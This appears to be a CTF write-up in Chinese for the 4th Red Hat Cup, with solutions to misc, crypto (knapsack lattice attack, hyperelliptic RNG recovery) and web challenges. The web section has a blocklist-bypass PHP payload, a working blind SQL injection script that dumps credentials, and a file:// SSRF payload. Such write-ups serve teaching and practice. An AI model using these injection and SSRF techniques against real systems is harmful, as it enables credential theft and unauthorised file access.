第四届红帽杯网络安全大赛
source link: https://lazzzaro.github.io/2021/05/09/match-%E7%AC%AC%E5%9B%9B%E5%B1%8A%E7%BA%A2%E5%B8%BD%E6%9D%AF%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E8%B5%9B/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
这一届的misc+crypto也太少了,一二血同队+垂直上分明显。
下载附件EBCDIC.txt,根据文件名和内容,猜测为某种编码方式,搜索知为EBCDIC编码:
EBCDIC(广义二进制编码的十进制交换码,Extended Binary Coded Decimal Interchange Code),是字母或数字字符的二进制编码,是IBM为它的更大型的操作系统而开发的。它是为IBM的S/390上的IBMOS/390操作系统上使用的文本文件的编码,并且数千个公司为它们的遗留应用程序和数据库使用这种编码。在一个EBCDIC的文件里,每个字母或数字字符都被表示为一个8位的二进制数(一个0、1字符串)。256个可能的字符被定义(字母,数字和一些特殊字符)。
IBM的个人计算机和工作站操作系统不使用它们所有的EBCDIC编码。相反的,它们使用文本的工业标准编码,ASCII码。转化程序允许不同的操作系统从一种编码到另一种编码的转化。
找到在线解码网站,将16进制EBCDIC码解码为16进制ASCII码,再转为字符得到flag。
flag值:flag{we1c0me_t0_redhat2021}
Crypto
primegame
#!/usr/bin/env python3
from decimal import *
import math
import random
import struct
from flag import flag
assert (len(flag) == 48)
msg1 = flag[:24]
msg2 = flag[24:]
primes = [2]
for i in range(3, 90):
f = True
for j in primes:
if i * i < j:
break
if i % j == 0:
f = False
break
if f:
primes.append(i)
getcontext().prec = 100
keys = []
for i in range(len(msg1)):
keys.append(Decimal(primes[i]).ln())
sum_ = Decimal(0.0)
for i, c in enumerate(msg1):
sum_ += c * Decimal(keys[i])
ct = math.floor(sum_ * 2 ** 256)
print(ct)
sum_ = Decimal(0.0)
for i, c in enumerate(msg2):
sum_ += c * Decimal(keys[i])
ct = math.floor(sum_ * 2 ** 256)
print(ct)
597952043660446249020184773232983974017780255881942379044454676980646417087515453
425985475047781336789963300910446852783032712598571885345660550546372063410589918
代码逻辑:
将48长度的flag分为24长度两部分,生成90以内的素数列表primes
和前24个素数自然对数列表keys
,分别求出flag两部分的ascii值与key值乘积和。
S=ct⋅2256=∑i=124(ci⋅(keyi⋅2256))=∑i=124(ci⋅ki)S=ct⋅2256=∑i=124(ci⋅(keyi⋅2256))=∑i=124(ci⋅ki)
形式类似于0-1背包加密问题,其中公钥 kiki 与密文 SS 已知,需解密得明文 ci∈[0,128)ci∈[0,128)。
由于明文数量不大,且背包密度 d=nlog2(max(ki))≈0.0968d=nlog2(max(ki))≈0.0968,可采用低密度攻击方法(Lagarias&Odlyzko算法 或 CJLOSS算法)恢复明文,构造格:
⎛⎝⎜⎜⎜⎜⎜⎜⎜b0b1⋮bnbn+1⎞⎠⎟⎟⎟⎟⎟⎟⎟=⎛⎝⎜⎜⎜⎜⎜⎜⎜10⋮0001⋮00⋯⋯⋱⋯⋯00⋮10Nk0Nk1⋮NknNkn+1⎞⎠⎟⎟⎟⎟⎟⎟⎟(b0b1⋮bnbn+1)=(10⋯0Nk001⋯0Nk1⋮⋮⋱⋮⋮00⋯1Nkn00⋯0Nkn+1)
from itertools import combinations
from decimal import Decimal, getcontext
import random
import struct
primes = [2]
for i in range(3, 100):
f = True
for j in primes:
if i * i < j:
break
if i % j == 0:
f = False
break
if f:
primes.append(i)
getcontext().prec = int(100)
keys = []
for i in range(len(primes)):
keys.append(int(Decimal(int(primes[i])).ln() * (2 ** 256)))
n = len(keys)
d = n / log(max(keys), 2)
assert CDF(d) < 0.9408
M = Matrix.identity(n)
last_row = [0 for x in keys]
M_last_row = Matrix(ZZ, 1, len(last_row), last_row)
ct = '597952043660446249020184773232983974017780255881942379044454676980646417087515453'
# ct = '425985475047781336789963300910446852783032712598571885345660550546372063410589918'
last_col = keys[:]
last_col.append(ct)
M_last_col = Matrix(ZZ, len(last_col), 1, last_col)
M = M.stack(M_last_row)
M = M.augment(M_last_col)
X = M.LLL()
target = X[0][:-1]
flag = [-k for k in target]
print(bytes(flag).strip(b'\x00'))
#结果
#b'flag{715c39c3-1b46-4c23-'
#b'8006-27b43eba2446}'
flag值:flag{715c39c3-1b46-4c23-8006-27b43eba2446}
hpcurve
你的数学学的怎么样?
#!/usr/bin/env sage
import struct
from random import SystemRandom
p = 10000000000000001119
R.<x> = GF(p)[]
y=x
f = y + y^7
C = HyperellipticCurve(f, 0)
J = C.jacobian()
es = [SystemRandom().randrange(p**3) for _ in range(3)]
Ds = [J(C(x, min(f(x).sqrt(0,1)))) for x in (11,22,33)]
q = []
def clk():
global Ds,es
Ds = [e*D for e,D in zip(es, Ds)]
return Ds
def generate():
u,v = sum(clk())
rs = [u[i] for i in range(3)] + [v[i] for i in range(3)]
assert 0 not in rs and 1 not in rs
q = struct.pack('<'+'Q'*len(rs), *rs)
return q
flag = "flag{xxxxxxx}"
text = 'a'*20+flag
t = ''
keys = generate()
leng = len(keys)
i = 0
for x in text:
t += chr(ord(keys[i%leng])^^ord(x))
i+=1
print t.encode('hex')
66def695b20eeae3141ea80240e9bc7138c8fc5aef20532282944ebbbad76a6e17446e92de5512091fe81255eb34a0e22a86a090e25dbbe3141aff0542f5
代码逻辑:
密文为flag与超椭圆曲线 y2=x+x7y2=x+x7 随机生成值异或得到,由于部分明文已知,通过随机生成器(RNG)部分的代码恢复剩余字符。
对于域 KK,亏格为 gg 超椭圆曲线基本形式是 C:y2+h(x)y=f(x)C:y2+h(x)y=f(x),其中 h(x),f(x)∈K[x]h(x),f(x)∈K[x](多项式系数都在 KK 上),且 deg(h(x))≤gdeg(h(x))≤g,deg(f(x))=2g+1deg(f(x))=2g+1。
超椭圆曲线密码体制是建立在超椭圆曲线的Jacobian群上的,有限域上超椭圆曲线的Jacobian群是一个有限交换群,Jacobian阶记为 J(C)J(C)。可以在 J(C)J(C)中定义归约除子的一个加法运算 。使得 J(C)J(C)成为一个交换群,这个有限交换群是超椭圆曲线密码体制的基础。
每个元素 D∈J(C)D∈J(C) 都可以唯一表示为 K[x]K[x] 上的一个多项式元组 ⟨u(x),v(x)⟩⟨u(x),v(x)⟩,多项式满足:
- u(x)u(x) 是首一多项式
- u(x)u(x) 整除 f(x)−h(x)v(x)−v2(x)f(x)−h(x)v(x)−v2(x)
- deg(v(x))<deg(u(x))<gdeg(v(x))<deg(u(x))<g
这里 h(x)=0,f(x)=x+x7h(x)=0,f(x)=x+x7,RNG部分生成三个随机数 e1,e2,e3e1,e2,e3 以及三个元素 D1,D2,D3∈J(C)D1,D2,D3∈J(C),
RNG部分计算 ⟨u(x),v(x)⟩=e1D1+e2D2+e3D3⟨u(x),v(x)⟩=e1D1+e2D2+e3D3 并将系数转换为字节。
结合已知的a*20+flag
共24字节,可以恢复 u(x)u(x)。
对于 v(x)v(x),根据 D∈J(C)D∈J(C) 的性质,有 f(x)−h(x)v(x)−v2(x)≡0(modu(x))f(x)−h(x)v(x)−v2(x)≡0(modu(x))
如果 xixi 是 u(x)u(x) 的根(KK 代数闭包下),有 f(xi)−h(xi)v(xi)−v2(xi)=0⟹v2(xi)+h(xi)v(xi)=f(xi)f(xi)−h(xi)v(xi)−v2(xi)=0⟹v2(xi)+h(xi)v(xi)=f(xi),
说明 (xi,v(xi))(xi,v(xi)) 是 CC 上的一个点。
又 h(xi)=0h(xi)=0,则 v2(xi)=f(xi)⟹v(xi)=±f(xi)−−−−√v2(xi)=f(xi)⟹v(xi)=±f(xi)。
由于 u(x)u(x) 次数为3,在KK 代数闭包下,可以找到三个根 x1,x2,x3x1,x2,x3,即 CC 上的三个点 (x1,v(x1)),(x2,v(x2)),(x3,v(x3))(x1,v(x1)),(x2,v(x2)),(x3,v(x3)),利用拉格朗日插值方法可以恢复 v(x)v(x)。
得到 u(x)u(x) 和 v(x)v(x),异或操作还原明文。
import struct
from itertools import product, cycle
p = 10000000000000001119
K = GF(p)
R.<x> = K[]
y = x
f = y + y^7
C = HyperellipticCurve(f, 0)
J = C.jacobian()
def get_u_from_out(output, known_input):
res = []
for i in range(24):
res.append(output[i]^^known_input[i])
res = bytes(res)
u0, u1, u2 = struct.unpack("<QQQ", res)
u = x^3+x^2*u2+x*u1+u0
return u
def get_v_from_u(u):
Kbar = GF(p^6)
Rbar.<t> = Kbar["t"]
u2 = u.change_ring(Rbar)
roots = [x[0] for x in u2.roots()]
ys = []
for root in roots:
ys.append(f(root).sqrt(0,1))
res = []
for perm in product(range(2), repeat=3):
poly = Rbar.lagrange_polynomial([(roots[i], ys[i][perm[i]]) for i in range(3)])
if poly[0] in K:
res.append(R(poly))
return res
def try_decode(output, u, v):
rs = [u[0], u[1], u[2], v[0], v[1], v[2]]
otp = struct.pack("<QQQQQQ", *rs)
decrypted = [a^^b for (a, b) in zip(output, cycle(otp)) ]
return bytes(decrypted)
output = bytes.fromhex('66def695b20eeae3141ea80240e9bc7138c8fc5aef20532282944ebbbad76a6e17446e92de5512091fe81255eb34a0e22a86a090e25dbbe3141aff0542f5')
known_input = b'a' * 20 + b'flag'
u = get_u_from_out(output, known_input)
vs = get_v_from_u(u)
for v in vs:
#print((u,v))
print(try_decode(output,u,v))
#结果
#b'aaaaaaaaaaaaaaaaaaaaflag{1b82f60a-43ab-4f18-8ccc-97d120aae6fc}'
#b'aaaaaaaaaaaaaaaaaaaaflag|\xb1J\xedFp^v2\xb9\x10\x16\xf6\xfddD(h7\xb6\xc3S\xe0\xcf-97d120aae6fc}'
#b'aaaaaaaaaaaaaaaaaaaaflag\xe3J\xad\x88\xb2\xac\xf8\x1c-C\x07\x97\x02/B47l\xd0\xf30\x8f&\xbf-97d120aae6fc}'
#b'aaaaaaaaaaaaaaaaaaaaflag\xe4\xca\xf5\xbd\xc6\xa6\x00B\xfe\xde\xe3z\x9a\xbe\x95D\xf9\xc2\xafD\xda\xff\xa3\xeb-97d120aae6fc}'
flag值:flag{1b82f60a-43ab-4f18-8ccc-97d120aae6fc}
find_it
主页面没什么有用信息,扫描发现robots.txt
,访问提示:
When I was a child,I also like to read Robots.txt
Here is what you want:1ndexx.php
访问1ndexx.php
报500 Internal Server Error,尝试看是否存在vim源码泄露,发现访问.1ndexx.php.swp
能回显源码:
<?php $link = mysql_connect('localhost', 'root'); ?>
<html>
<head>
<title>Hello worldd!</title>
<style>
body {
background-color: white;
text-align: center;
padding: 50px;
font-family: "Open Sans","Helvetica Neue",Helvetica,Arial,sans-serif;
}
#logo {
margin-bottom: 40px;
}
</style>
</head>
<body>
<img id="logo" src="logo.png" />
<h1><?php echo "Hello My freind!"; ?></h1>
<?php if($link) { ?>
<h2>I Can't view my php files?!</h2>
<?php } else { ?>
<h2>MySQL Server version: <?php echo mysql_get_server_info(); ?></h2>
<?php } ?>
</body>
</html>
<?php
#Really easy...
$file=fopen("flag.php","r") or die("Unable 2 open!");
$I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php"));
$hack=fopen("hack.php","w") or die("Unable 2 open");
$a=$_GET['code'];
if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\^|\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump/',$a)){
die("you die");
}
if(strlen($a)>33){
die("nonono.");
}
fwrite($hack,$a);
fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh);
fclose($file);
fclose($hack);
?>
代码逻辑:
将flag.php
文件内容读入变量$I_know_you_wanna_but_i_will_not_give_you_hhh
,并将传入的code
参数值与变量$I_know_you_wanna_but_i_will_not_give_you_hhh
一起写入hack.php
文件中。
对code
参数值过滤的关键字不少:
system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|~|^|`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump
用命令执行、文件读写等多种方式尝试向hack.php
写入php代码,以显示flag.php
文件内容,发现show_source()
函数可行。
payload: ?code=<?=show_source("fla"."g.php");
最后访问hack.php
,得到flag.php
内容:
<?php
#ini_set('display_errors',true);
#error_reporting(E_ALL ^ E_NOTICE);
flag=MZWGCZ33HA3GIOJWHA2DGLJYGNTDCLJUGE3DSLJZMQZDILJZGY3TIZRTHE3GMMJQGN6Q====;
echo "What is important for a new bird of php??"
?>
Base32解码得flag。
flag值:flag{86d96843-83f1-4169-9d24-9674f396f103}
WebsiteManager
最新的网站测试器,作为非站长的你,能利用好它的功能吗?
查看网页源码发现image.php?id=1
,猜测存在sql注入,手工测试发现过滤了空格和双引号,且测试?id=-2/**/or/**/1=1
有图片显示,?id=-2/**/or/**/1=2
无图片显示,验证存在注入点,采用布尔盲注跑出登录用户名和密码:
import requests
url = "http://eci-2zefme7yqvztnp4652um.cloudeci1.ichunqiu.com/image.php"
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
# payload = f'if(ascii(substr((select(database())),{i},1))>{mid},1,0)'
# payload = f'''if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),{i},1))>{mid},1,0)'''
# payload = f'''if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),{i},1))>{mid},1,0)%23'''
payload = f'''if(ascii(substr((select(group_concat(username,password))from(ctf.users)),{i},1))>{mid},1,0)%23'''
data = {
'id': f"-2/**/or/**/{payload}"
}
r = requests.get(url,params=data)
if "HRN" in r.text:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)
#结果
#库名: ctf
#表名: images,users
#users表中列名: username,password
#users表中值: admin,9ebab83595888e5a8bd57
用admin
和9ebab83595888e5a8bd57
直接登录,结合curl.php
猜测是SSRF,填入http://127.0.0.1/
得到访问结果回显验证猜测,尝试改用file伪协议直接读取根目录flag文件得到flag。
payload: file://127.0.0.1/flag
或 file:///flag
flag值:flag{f0d06b4c-954e-4a76-ad5d-95bd0227daea}
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK